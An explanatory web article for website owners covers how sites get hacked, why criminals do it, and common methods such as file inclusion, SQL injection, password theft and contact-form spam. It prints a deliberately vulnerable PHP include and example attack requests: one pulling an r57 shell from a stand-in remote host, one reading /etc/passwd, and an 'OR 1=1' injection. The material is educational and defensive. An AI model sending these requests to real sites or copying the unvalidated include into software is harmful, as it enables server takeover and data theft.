Botnets:
Malware:
Apache security:
PHP security:
|
Before buying a product, I look at Amazon.com 
customer reviews to see what other people are saying about it.
|
This provides background information for a set of articles that begins at:
What is a website hack?
The files of your website are stored on a computer somewhere. The computer, called a "server" or "web server", is not too much different from your home PC, except that its configuration is specialized for making files available to the world wide web, so it has a lot of hard drive capacity and a very high speed internet connection. It probably doesn't have its own monitor or keyboard because everyone who communicates with it -- including you -- does so through its internet connection.
With everybody connecting to your site through the internet, it might seem like just an accident if one of your files gets changed once in a while in all the commotion, but it's not.
Your website and server have several security systems that determine what kind of access each person has. You are the owner, so you have passwords that give you read/write access to your site. You can view files (read) and you can also change them (write). Everybody else only has read access. They can view your files, but they are never, ever supposed to be able to change them, delete them, or add new ones.
A hack occurs when somebody gets past your security by using lots of password guessing ("brute force") or by trickery of one kind or another, to obtain write access to your server, the same kind you have. Once they obtain that, they can change, add, or delete files however they want. If you can imagine someone breaking into your home and sitting down at your PC with a box of installation CD's, that's what a website hack is like. They might do only a little damage, or a lot. The choice is up to them.
People often ask, "But how could my site be hacked? The hacked page was 100% pure HTML."
The answer is that the defacement of the page wasn't the hack.
The hack was
when they got write access to the server.
The "pure HTML" page had nothing at all to do with that.
Altering the page was simply the thing they chose to do after they got in. Once they get in, they can do ANYTHING, including alter your pages that are pure HTML. That is the reason why, after a hack, the most important thing isn't the damage they did (which most people focus on), but finding out how they got in.
Who are the hackers?
Website hacking is one of the modern enterprises of organized crime, but if you think that means it's being done amateurishly by a bunch of elderly mobsters who took night classes in Computer ABC's to learn what "this Internet Explore thing is", think again. These organizations have professional programmers. Their campaigns to take control of thousands of the world's computers are well planned, automated, and technologically sophisticated, drawing on an in-depth knowledge of operating system software, browser vulnerabilities, network programming, and even psychology.
The end result is that, if your site was hacked, it probably wasn't done by a person, but by another computer, which was hacked by another computer, which was hacked by yet another, and somewhere way back in the chain is a programmer who initially unleashed the sequence of events that set all these computers to attacking each other and building a giant network, a "botnet", a massively parallel virtual supercomputer whose purpose is to suck up all of the world's information that can be efficiently turned into money. They need to have as many computers as possible recruited into the enterprise, and that's why they want to hack your little website.
Another group of hackers is those who do it, whether they realize it or not, as affiliates of organized crime. Using tools provided by the larger organization, they get a small commission ($5, last I heard) for each website they successfully break into.
And yes, there still are hackers who are motivated by fun, challenge, and prestige among their peers or by the desire to deface the site of someone they dislike. Although carefully hacking an individual site is more likely than an automated attack to succeed, it is time-intensive and brings small reward for the effort invested, so the number of these attacks is currently dwarfed by the large number done by robotic crawlers.
Why do they do it? What do they want?
What they want is money. While you may be racking your brain and tearing your hair out trying to figure out how to monetize your website, these people already know just how to do it, and they have a plan, too.
To use your server to make money, they want, in approximate order of decreasing value and incidence:
- Your visitors' confidential financial information. One way or another,
they want to steal credit card, Social Security, and other information from
the people who trustingly visit your site. Credit card numbers are sold in
bulk to brokers who resell them. More complete financial information is used
in identity theft schemes involving mortgages or car loans.
Theft methods:
- Attack your customers' computers with viruses and Trojan downloaders that install keyloggers or other spyware. The stolen data is relayed to remote computers using the victim's internet connection. In spite of the wide availability of antivirus and antispyware software, many home PC's are still poorly protected, and one of the sophisticated attack packages (MPack) claims a 50% success rate.
- Copy your customer database. The needed passwords are often stored in plain text scripts, which the attacker can also retrieve.
- Install spyware on your server, to grab customer data as they log in.
- Use of your visitors' computers. When they cracked your server, they took
control of one powerful computer, but now they can attack
all your visitors, too, and maybe get hundreds or thousands of new
zombies.
One of the things that makes your server an attractive target is the
opportunity to attack all these poorly protected PC's.
- Your mail server, for sending spam.
- Your server's high-speed
internet connection, for relaying stolen data, spamming, communicating with
other sites in a botnet, crawling the web searching for new websites to
victimize, and attacking them.
- Free use of your server's processing power, to reprogram however they
want.
- Free use of your webspace, to host illegal content or even an entire
illegal website. They avoid webhosting fees, electricity bills, and can
engage in activities that no webhost would allow, leaving you with the
worries about TOS violations and legal liability. Even after you clean up
the site and remove the illegal content, it may remain indexed by search
engines for months.
Examples:
- Phishing sites: they create a fake (spoof) site that looks like a popular one such as PayPal. Then they send spam emails containing links to the phishing page on your site. When victims log in, thinking it's PayPal, your site steals their login data and relays it to a remote computer. Thieves log into the real PayPal accounts and steal the money.
- Illegal pornographic content.
- Use your webspace to store PHP or Perl hack scripts like c99 or r57 for use in Remote File Inclusion (RFI) attacks on other sites, making your site look like the attacker.
- Your traffic. They put links on your pages that visitors who trust your
site are likely to follow. Or they redirect all your traffic to a
different site. Either way, your visitors become their visitors.
- Your money, by extortion, threatening an even worse attack if you don't
pay.
- Your PageRank. Invisible outbound links (so only search engines see
them) inflate the other site's inbound links and boost its PageRank.
- Your advertising space. Monetize your popularity by inserting their ads onto your pages. Clicks are credited to them.
How do they do it?
They do it by whatever method brings the most results for the least effort at any given time.
Almost all attacks are automated, one computer attacking another.
Currently, because there are so many web applications such as blogs, forums, and shopping carts being so widely used, with so many of them having security holes, and so many of them written in PHP, many attacks currently are "inclusion" attacks of various types, using PHP scripts.
1) Remote File Inclusion attacks
An RFI attack tricks a website page into retrieving an executable script from a remote site and executing it. As it runs, the script damages files in the site directly, or it installs a command shell that gives an unauthorized remote user read/write access to the site.
Here is a hypothetical example of an RFI attack.
Discovering vulnerable code
Let's say there is a super-popular blogging application called WordSquash. Somebody looking through the source code of its Display.php file discovers the following:
//Pull the requested article into the page
include($_GET['ArticleID']);
The programmer designed this page to always be called by another page within the same site, which supplies the numeric ID of the article when it calls it: 1, 2, 3, etc. The articles are stored in numbered files. To display article #1, you call this page with the following HTTP request which uses the "query string" (the part after the question mark) to assign a value to the variable ArticleID:
GET /Display.php?ArticleID=1
When the value of ArticleID (which is 1) is substituted into the code from above, it results in this:
include(1);
Since 1 is the name of the file containing article #1, that article is pulled into the page, and it works!
Bad news!
There is a serious flaw in this code, however. ArticleID is never tested for being the name of an existing article, nor even for being a legal value. Let's see what happens when we do this:
GET /Display.php?ArticleID=http://remotesite.ru/r57.txt
When the value of ArticleID is substituted into the code from above, it results in this:
include(http://remotesite.ru/r57.txt);
This is really too bad, because what it does is pull into the page, where an article should be, the r57.txt file from the remote website. Unfortunately for our poor webmaster, r57.txt is not an article, but a 2000-line PHP script that creates a nicely formatted command-line shell interface to the operating system of the website it runs on. Including it into the page where an article should be causes it to run, and this website is now trashed. Whoever runs the r57 script has the same kind of access as if they were sitting at this server's console. Tough luck for the site, but this discovery is great for a hacker.
This horrible security vulnerability is in WordSquash Version 1.0.Ooops. It so happens that WordSquash is being used by 1 million users around the world. Many of them were barely able to figure out how to install WS, don't know that it is important to install security updates promptly, and even if they discover that fact in a few months, they'll probably put it off for a few more because they don't know how.
Because our hacker is the first to discover this vulnerability, there's no patch available. This promises to be a highly profitable enterprise: a) a brand new critical vulnerability, b) a huge user base, c) lots of time. How to put it to use?
First the hackers put r57.txt on a website somewhere, so they can call it. It will be the remote file in the Remote File Inclusion attack. For our example, we're assuming it's at "remotesite.ru", a fictitious site.
Next, they use a search engine to find WordSquash sites, or, more likely, they use something like wget or libwww-perl to crawl the web and find URLs containing /blog/ or /ws/ because they've noticed those paths are common in WordSquash blog sites.
To every WS site they find, they send the fateful HTTP request:
GET http://victim.com/ws/Display.php?ArticleID=http://remotesite.ru/r57.txt
They might also craft a number of other alternative exploits (such as LFI) and send those requests, too. Depending on configuration settings on the victim systems, one exploit might succeed where another fails.
They repeat this thousands of times a day, and they become the new owners of every WordSquash site they hit. Even when WordSquash.org finally gets around to issuing a patch, many users don't hear about it and others don't bother to install it, so this exploit continues to be successful for more than a year... 24 hours a day.
At victim.com, the attack will be in their HTTP raw access log, like this:
GET /ws/Display.php?ArticleID=http://remotesite.ru/r57.txt
If you've always wondered, "What does a hack look like?", THAT IS IT!
Summary:
- A specific new web application vulnerability was discovered.
- A specific method of exploiting it was crafted.
- The exploit (consisting of ONE malicious request for the vulnerable page) was launched against a site.
- The victim site was tricked into allowing a malicious program to be imported and executed.
- The exploit installed a shell script that allows the hackers to return later and make further changes.
- One of the things they could do is turn this victim server into a web crawler, to locate and attack more WordSquash sites. Then they'll have two computers working on the task.
Even without fixing the WordSquash vulnerability, this hack could have been prevented. See the article link at the top of this page for hack prevention strategies.
2) Local File Inclusion attacks
LFI attacks are almost the same as RFI, except they try to trick a web page into displaying the contents of important local system files that are normally inaccessible.
Using the code from the previous example, a LFI attack would look like this:
GET http://victim.com/ws/Display.php?ArticleID=/../etc/passwd
When the value of ArticleID is substituted into the code from above, it results in this:
include(/../etc/passwd);
What this does is pull into the displayed page, where an article should be, the contents of a password file. The password is encrypted (hashed), but once the attackers have its text, they can use high-speed offline cracking techniques to decrypt it.
3) SQL injection attacks
SQL attacks are similar to RFI and LFI, except they attack web pages that use Structured Query Language for database retrievals and manipulations. SQL commands in the HTTP query string try to trick the system into executing malicious database queries and divulging secret information or injecting data into the database.
Using the familiar code from the previous examples, one type of SQL injection attack could look similar to this:
GET http://victim.com/ws/Display.php?ArticleID=OR 1=1;
The above line isn't really correct, and a full explanation of how it works isn't similar enough to the previous examples to give here, so here is only a brief overview:
The intended target isn't an include() command as it was previously. Instead, the target is SQL query code.
Let's say the SQL code in the file selects and reports on the resulting web page some entries from a database that meet certain criteria, and let's assume that it expects some of the criteria to be provided in the incoming query string.
If it blindly accepts the query string data and appends it to the pre-existing SQL code to form the final query, the malicious query string data above will turn the query into a malicious one.
If the basic query was supposed to retrieve and display user data for one user, adding "OR 1=1" to it causes it to display data for all users, because "1=1" is always true, so every record in the database is a match.
4) Password attacks
They can also get into a site by obtaining the userID and password. Once in, they have the same permissions as the site owner. Some methods used:
- Eavesdrop on FTP sessions sent through unsecured connections such as home wireless networks or public hot spots.
- Infect the webmaster's computer with spyware.
- Steal user account login data from a webhosting company either by hacking their database, installing spyware on the computers of their remote service technicians, or getting someone on the inside to provide it.
- Repeatedly try to log into FTP or control panel accounts with different userID and password combinations until the correct ones are found.
Failed attempts might or might not show in the site's FTP logs. Successful break-ins look the same as the activity of an authorized user, except the IP address is an unknown one.
5) Form mail spamming
Contact forms on web pages are sometimes hijacked to send spam. A compromise of this type is not really a hack because it doesn't give read/write access to an unauthorized user, but it does trick the site into doing something it shouldn't.
Emails are surprisingly simple, and are plain text. Each address header such as To and From is terminated by a CRLF sequence. It is therefore easy for someone filling out a contact form to insert text that creates an entire list of recipients (instead of just one) or that inserts additional headers such as BCC, unless the script that processes the contact form is written to prohibit these injections.
It is not actually the form (on the web page) that is vulnerable to attack. When a user completes and submits the form, the data is sent to a script on the website that processes the data and sends the email. It is that script that is vulnerable.
Once the spammers find a vulnerable script, they don't bother filling out the form manually. They write a program that submits data directly to the site's form mail processing script, over and over again, turning the site into a spammer.
Questions, comments, and suggestions are welcome in the discussion forum.
